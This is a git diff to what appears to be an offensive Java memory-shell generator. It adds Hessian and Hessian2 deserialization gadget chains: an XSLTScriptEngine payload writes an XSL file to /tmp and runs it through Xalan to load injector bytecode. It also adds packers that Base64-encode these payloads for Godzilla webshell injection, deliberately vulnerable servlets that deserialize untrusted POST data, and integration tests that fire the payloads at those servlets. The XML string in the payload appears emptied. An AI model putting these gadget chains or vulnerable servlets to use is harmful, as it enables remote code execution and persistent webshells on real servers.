diff --git a/boot/Dockerfile b/boot/Dockerfile index 4b36d463..598d3c6f 100644 --- a/boot/Dockerfile +++ b/boot/Dockerfile @@ -10,7 +10,10 @@ WORKDIR /app COPY build/libs/boot-${VERSION}.jar app.jar ENV JAVA_OPTS="" \ - INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED" + INTER_JAVA_OPTS="\ + --add-opens=java.base/java.util=ALL-UNNAMED \ + --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ + --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED" EXPOSE 8080 diff --git a/deserialize/build.gradle b/deserialize/build.gradle index 0b685969..68050e8f 100644 --- a/deserialize/build.gradle +++ b/deserialize/build.gradle @@ -8,40 +8,19 @@ version = rootProject.version dependencies { implementation 'net.bytebuddy:byte-buddy' - implementation 'commons-beanutils:commons-beanutils:1.9.3' + implementation 'com.caucho:hessian:4.0.66' + implementation 'commons-beanutils:commons-beanutils:1.9.4' testImplementation platform('org.junit:junit-bom') testImplementation 'org.junit.jupiter:junit-jupiter' } - -def runtimeJvmArgs = [ - '--add-opens=java.base/java.lang=ALL-UNNAMED', - '--add-opens=java.base/java.util=ALL-UNNAMED', - '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED', - '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED' -] - -tasks.withType(JavaCompile).configureEach { - options.compilerArgs += [ - '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED', - '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED' - ] -} - -tasks.withType(Test).configureEach { - jvmArgs += runtimeJvmArgs -} - -// For running the application -tasks.withType(JavaExec).configureEach { - jvmArgs += runtimeJvmArgs -} - java { toolchain { - languageVersion = JavaLanguageVersion.of(11) + languageVersion = JavaLanguageVersion.of(8) } + sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 } test { diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/Hessian2DeserializeGenerator.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/Hessian2DeserializeGenerator.java new file mode 100644 index 00000000..714485c7 --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/Hessian2DeserializeGenerator.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.deserialize; + +import com.caucho.hessian.io.Hessian2Output; +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; + +/** + * @author ReaJason + * @since 2025/2/19 + */ +public class Hessian2DeserializeGenerator { + @SneakyThrows + public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) { + PayloadType payloadType = config.getPayloadType(); + Object obj = payloadType.getPayload().generate(bytes, className); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + Hessian2Output hessian2Output = new Hessian2Output(bos); + hessian2Output.getSerializerFactory().setAllowNonSerializable(true); + hessian2Output.writeObject(obj); + hessian2Output.close(); + return bos.toByteArray(); + } +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/HessianDeserializeGenerator.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/HessianDeserializeGenerator.java new file mode 100644 index 00000000..2fd1d1a9 --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/HessianDeserializeGenerator.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.deserialize; + +import com.caucho.hessian.io.HessianOutput; +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; + +/** + * @author ReaJason + * @since 2025/2/19 + */ +public class HessianDeserializeGenerator { + @SneakyThrows + public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) { + PayloadType payloadType = config.getPayloadType(); + Object obj = payloadType.getPayload().generate(bytes, className); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + HessianOutput hessianOutput = new HessianOutput(bos); + hessianOutput.getSerializerFactory().setAllowNonSerializable(true); + hessianOutput.writeObject(obj); + hessianOutput.close(); + return bos.toByteArray(); + } +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java index 490899e6..2cd47a53 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/Payload.java @@ -11,5 +11,18 @@ public interface Payload { * @param bytes 恶意类字节流 * @return 序列化对象 */ - Object generate(byte[] bytes); + default Object generate(byte[] bytes) { + throw new UnsupportedOperationException(); + } + + /** + * 将恶意类字节流封装成序列化对象 + * + * @param bytes 恶意类字节流 + * @param className 恶意类名 + * @return 序列化对象 + */ + default Object generate(byte[] bytes, String className) { + throw new UnsupportedOperationException(); + } } diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java index 203ae0d1..451f03ee 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java @@ -1,6 +1,10 @@ package com.reajason.javaweb.deserialize; -import com.reajason.javaweb.deserialize.payload.*; +import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine; +import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110; +import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16; +import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18; +import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19; import lombok.Getter; /** @@ -17,6 +21,10 @@ public enum PayloadType { CommonsBeanutils19(new CommonsBeanutils19()), CommonsBeanutils110(new CommonsBeanutils110()), + /** + * Hessian XSLT write + */ + XSLTScriptEngine(new XSLTScriptEngine()) ; private final Payload payload; diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/hessian/XSLTScriptEngine.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/hessian/XSLTScriptEngine.java new file mode 100644 index 00000000..9f4189dd --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/hessian/XSLTScriptEngine.java @@ -0,0 +1,51 @@ +package com.reajason.javaweb.deserialize.payload.hessian; + +import com.reajason.javaweb.deserialize.Payload; +import com.reajason.javaweb.deserialize.utils.HessianUtils; +import com.reajason.javaweb.deserialize.utils.Reflections; +import lombok.SneakyThrows; + +import javax.swing.*; +import java.util.Arrays; +import java.util.Base64; +import java.util.HashMap; + +/** + * @author ReaJason + * @since 2025/2/19 + */ +public class XSLTScriptEngine implements Payload { + @Override + @SneakyThrows + public Object generate(byte[] bytes, String className) { + String base64Str = Base64.getEncoder().encodeToString(bytes); + + String tmpPath = "/tmp/CACHE_XML"; + + String xml = "\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + "\n"; + + UIDefaults.ProxyLazyValue writeValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xml.getBytes()}); + Reflections.setFieldValue(writeValue, "acc", null); + UIDefaults.ProxyLazyValue processValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}}); + Reflections.setFieldValue(processValue, "acc", null); + + HashMap map1 = new HashMap<>(1); + HashMap map2 = new HashMap<>(1); + HashMap map3 = new HashMap<>(1); + HashMap map4 = new HashMap<>(1); + map1.put("a", new UIDefaults(new Object[]{"abc", writeValue})); + map2.put("a", new UIDefaults(new Object[]{"abc", writeValue})); + map3.put("b", new UIDefaults(new Object[]{"ccc", processValue})); + map4.put("b", new UIDefaults(new Object[]{"ccc", processValue})); + + return HessianUtils.toMap(Arrays.asList(map1, map2, map3, map4)); + } +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/HessianUtils.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/HessianUtils.java new file mode 100644 index 00000000..b3451389 --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/HessianUtils.java @@ -0,0 +1,32 @@ +package com.reajason.javaweb.deserialize.utils; + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.util.HashMap; +import java.util.List; + +/** + * @author ReaJason + * @since 2025/2/19 + */ +public class HessianUtils { + + public static HashMap toMap(List objs) throws Exception { + HashMap s = new HashMap<>(8); + Reflections.setFieldValue(s, "size", objs.size()); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } catch (ClassNotFoundException var6) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC); + nodeCons.setAccessible(true); + Object tbl = Array.newInstance(nodeC, objs.size()); + for (int i = 0; i < objs.size(); i++) { + Array.set(tbl, i, nodeCons.newInstance(0, objs.get(i), objs.get(i), null)); + } + Reflections.setFieldValue(s, "table", tbl); + return s; + } +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java index 90d057a8..6e3e00b1 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java @@ -1,7 +1,11 @@ package com.reajason.javaweb.deserialize.utils; -import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19; +import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19; +import sun.reflect.ReflectionFactory; +import sun.security.pkcs.PKCS9Attributes; +import java.lang.reflect.AccessibleObject; +import java.lang.reflect.Constructor; import java.lang.reflect.Field; /** @@ -19,7 +23,7 @@ public class Reflections { java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); - getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module); + getAndSetObjectM.invoke(unsafe, Reflections.class, offset, module); } catch (Exception ignored) { } } @@ -47,4 +51,18 @@ public class Reflections { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } + + public static Object createWithoutConstructor(String classname) throws Exception { + return createWithoutConstructor(Class.forName(classname)); + } + public static T createWithoutConstructor(Class classToInstantiate) throws Exception { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + public static T createWithConstructor(Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs) throws Exception { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + objCons.setAccessible(true); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + sc.setAccessible(true); + return (T) sc.newInstance(consArgs); + } } diff --git a/generator/build.gradle b/generator/build.gradle index db73315e..81f787ff 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -22,13 +22,6 @@ def runtimeJvmArgs = [ '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED' ] -tasks.withType(JavaCompile).configureEach { - options.compilerArgs += [ - '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED', - '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED' - ] -} - tasks.withType(Test).configureEach { jvmArgs += runtimeJvmArgs } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java index 817f4f49..244d8aa1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java @@ -5,6 +5,10 @@ import com.reajason.javaweb.memshell.packer.base64.Base64Packer; import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer; import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer; import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker; +import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer; +import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker; +import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker; +import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker; import com.reajason.javaweb.memshell.packer.deserialize.java.*; import com.reajason.javaweb.memshell.packer.el.ELPacker; import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker; @@ -96,6 +100,15 @@ public enum Packers { JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class), JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class), + /** + * Hessian 反序列化打包器 + */ + Hessian2Deserialize(new Hessian2Packer()), + Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class), + + HessianDeserialize(new HessianPacker()), + HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class), + AgentJar(new AgentJarPacker()), XxlJob(new XxlJobPacker()), diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java new file mode 100644 index 00000000..7a3fe32b --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.memshell.packer.deserialize.hessian; + +import com.reajason.javaweb.deserialize.DeserializeConfig; +import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator; +import com.reajason.javaweb.deserialize.PayloadType; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.AggregatePacker; +import com.reajason.javaweb.memshell.packer.Packer; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2025/2/20 + */ +public class Hessian2Packer implements AggregatePacker { + +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java new file mode 100644 index 00000000..eda03e86 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.memshell.packer.deserialize.hessian; + +import com.reajason.javaweb.deserialize.DeserializeConfig; +import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator; +import com.reajason.javaweb.deserialize.PayloadType; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2025/2/20 + */ +public class Hessian2XSLTScriptEnginePacker implements Packer { + @Override + public String pack(GenerateResult generateResult) { + byte[] injectorBytes = generateResult.getInjectorBytes(); + String injectorClassName = generateResult.getInjectorClassName(); + DeserializeConfig deserializeConfig = new DeserializeConfig(); + deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine); + byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig); + return Base64.encodeBase64String(generate); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianPacker.java new file mode 100644 index 00000000..4ba57202 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianPacker.java @@ -0,0 +1,11 @@ +package com.reajason.javaweb.memshell.packer.deserialize.hessian; + +import com.reajason.javaweb.memshell.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2025/2/20 + */ +public class HessianPacker implements AggregatePacker { + +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java new file mode 100644 index 00000000..9a2b1d65 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.memshell.packer.deserialize.hessian; + +import com.reajason.javaweb.deserialize.DeserializeConfig; +import com.reajason.javaweb.deserialize.HessianDeserializeGenerator; +import com.reajason.javaweb.deserialize.PayloadType; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2025/2/20 + */ +public class HessianXSLTScriptEnginePacker implements Packer { + @Override + public String pack(GenerateResult generateResult) { + byte[] injectorBytes = generateResult.getInjectorBytes(); + String injectorClassName = generateResult.getInjectorClassName(); + DeserializeConfig deserializeConfig = new DeserializeConfig(); + deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine); + byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig); + return Base64.encodeBase64String(generate); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 26c0f2bc..ecd22cf1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -78,6 +78,7 @@ public class ShellAssertionTool { } else { content = packer.getInstance().pack(generateResult); assertInjectIsOk(url, shellType, shellTool, content, packer, container); + log.info("send inject payload successfully"); } switch (shellTool) { @@ -247,6 +248,8 @@ public class ShellAssertionTool { case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content); case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content); case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content); + case HessianDeserialize -> VulTool.postData(url + "/hessian", content); + case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content); case Base64 -> VulTool.postData(url + "/b64", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); default -> throw new IllegalStateException("Unexpected value: " + packer); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java index 6676a13d..cb3b32da 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java @@ -46,7 +46,9 @@ public class Tomcat8DeserializeContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils17), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils18), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils19), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110) + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize) ); } diff --git a/vul/vul-webapp-deserialize/build.gradle b/vul/vul-webapp-deserialize/build.gradle index 0f27818c..157690be 100644 --- a/vul/vul-webapp-deserialize/build.gradle +++ b/vul/vul-webapp-deserialize/build.gradle @@ -28,6 +28,7 @@ dependencies { cb170 'commons-beanutils:commons-beanutils:1.7.0' cb161 'commons-beanutils:commons-beanutils:1.6.1' + implementation 'com.caucho:hessian:4.0.66' providedCompile 'javax.servlet:javax.servlet-api:3.1.0' } @@ -35,18 +36,18 @@ war { duplicatesStrategy = DuplicatesStrategy.EXCLUDE doFirst { - delete "${webAppDir}/WEB-INF/dep" + delete "src/main/webapp/WEB-INF/dep" - copy { from configurations.cb110 into "${webAppDir}/WEB-INF/dep" } - copy { from configurations.cb194 into "${webAppDir}/WEB-INF/dep" } - copy { from configurations.cb183 into "${webAppDir}/WEB-INF/dep" } - copy { from configurations.cb170 into "${webAppDir}/WEB-INF/dep" } - copy { from configurations.cb161 into "${webAppDir}/WEB-INF/dep" } + copy { from configurations.cb110 into "src/main/webapp/WEB-INF/dep" } + copy { from configurations.cb194 into "src/main/webapp/WEB-INF/dep" } + copy { from configurations.cb183 into "src/main/webapp/WEB-INF/dep" } + copy { from configurations.cb170 into "src/main/webapp/WEB-INF/dep" } + copy { from configurations.cb161 into "src/main/webapp/WEB-INF/dep" } } } clean { - delete "${webAppDir}/WEB-INF/dep" + delete "src/main/webapp/WEB-INF/dep" } test { diff --git a/vul/vul-webapp-deserialize/src/main/java/Hessian2ReadObjServlet.java b/vul/vul-webapp-deserialize/src/main/java/Hessian2ReadObjServlet.java new file mode 100644 index 00000000..75844c28 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/Hessian2ReadObjServlet.java @@ -0,0 +1,28 @@ +import com.caucho.hessian.io.AbstractHessianInput; +import com.caucho.hessian.io.Hessian2Input; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.util.Base64; + +/** + * @author ReaJason + * @since 2025/2/20 + */ +@WebServlet("/hessian2") +public class Hessian2ReadObjServlet extends HttpServlet { + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + byte[] base64 = Base64.getDecoder().decode(data); + ByteArrayInputStream bis = new ByteArrayInputStream(base64); + AbstractHessianInput in = new Hessian2Input(bis); + in.readObject(); + } +} diff --git a/vul/vul-webapp-deserialize/src/main/java/HessianReadObjServlet.java b/vul/vul-webapp-deserialize/src/main/java/HessianReadObjServlet.java new file mode 100644 index 00000000..21faf696 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/HessianReadObjServlet.java @@ -0,0 +1,28 @@ +import com.caucho.hessian.io.AbstractHessianInput; +import com.caucho.hessian.io.HessianInput; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.util.Base64; + +/** + * @author ReaJason + * @since 2025/2/20 + */ +@WebServlet("/hessian") +public class HessianReadObjServlet extends HttpServlet { + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + byte[] base64 = Base64.getDecoder().decode(data); + ByteArrayInputStream bis = new ByteArrayInputStream(base64); + AbstractHessianInput in = new HessianInput(bis); + in.readObject(); + } +} diff --git a/web/src/i18n/en.json b/web/src/i18n/en.json index 7e1f3020..55219634 100644 --- a/web/src/i18n/en.json +++ b/web/src/i18n/en.json @@ -61,7 +61,9 @@ "ScriptEngine": "ScriptEngine", "SpEL": "SpEL", "Velocity": "Velocity", - "XxlJob": "XXL-JOB Executor" + "XxlJob": "XXL-JOB Executor", + "Hessian2Deserialize": "Hessian2Deserialize", + "HessianDeserialize": "HessianDeserialize" }, "title": "Package Method" }, diff --git a/web/src/i18n/zh-CN.json b/web/src/i18n/zh-CN.json index 1e38c1cd..eba64596 100644 --- a/web/src/i18n/zh-CN.json +++ b/web/src/i18n/zh-CN.json @@ -53,7 +53,7 @@ "JSP": "JSP", "JXPath": "JXPath 表达式", "Jar": "Jar", - "JavaDeserialize": "Java反序列化", + "JavaDeserialize": "Java 反序列化", "JinJava": "JinJava", "MVEL": "MVEL 表达式", "OGNL": "OGNL 表达式", @@ -61,7 +61,9 @@ "ScriptEngine": "内置脚本引擎", "SpEL": "SpEL 表达式", "Velocity": "Velocity", - "XxlJob": "XXL-JOB Executor" + "XxlJob": "XXL-JOB Executor", + "Hessian2Deserialize": "Hessian2 反序列化", + "HessianDeserialize": "Hessian 反序列化" }, "title": "打包方式" },